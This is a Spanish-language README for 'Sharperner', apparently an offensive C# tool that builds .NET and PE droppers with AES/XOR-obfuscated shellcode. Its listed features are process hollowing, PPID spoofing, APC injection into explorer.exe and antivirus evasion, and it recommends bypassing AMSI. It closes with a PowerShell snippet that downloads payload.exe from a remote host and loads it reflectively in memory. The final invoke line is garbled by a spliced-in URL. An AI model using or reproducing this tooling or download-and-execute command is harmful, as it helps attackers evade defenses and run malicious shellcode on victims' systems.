Sharperner

Sharperner es una herramienta escrita en CSharp que genera un dropper .NET con shellcode ofuscado mediante AES y XOR. El ejecutable generado puede posiblemente evadir la verificación de firmas, pero no puedo asegurar que pueda evadir el escaneo heurístico.

Características

Binario PE

• Inyección de procesos (Process Hollowing)
• Suplantación de PPID (PPID Spoofing)
• Clave AES e IV generados aleatoriamente
• El shellcode final, la clave y el IV se traducen a código Morse :)

Binario .NET

• Shellcode cifrado con AES + XOR
• Inyección de procesos APC (explorer.exe)
• Nombres de funciones aleatorios
• Clave AES e IV generados aleatoriamente
• El shellcode final, la clave y el IV se traducen a código Morse :)

Uso

/file       B64, hex, shellcode crudo
/type       cs, cpp
/out        Ubicación del archivo de salida (Opcional)

Ejemplo:
Sharperner.exe /file:file.txt /type:cpp
Sharperner.exe /file:file.txt /out:payload.exe

Sugerencia

Para evitar tocar el disco, el ejecutable .NET generado se puede cargar de forma reflectiva con PowerShell. AMSI es ahora el enemigo, ¡amsi.fail al rescate!

$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[TotallyNotMal.Program]:https://raw.githubusercontent.com/aniqfakhrul/sharperner/HEAD/:Main()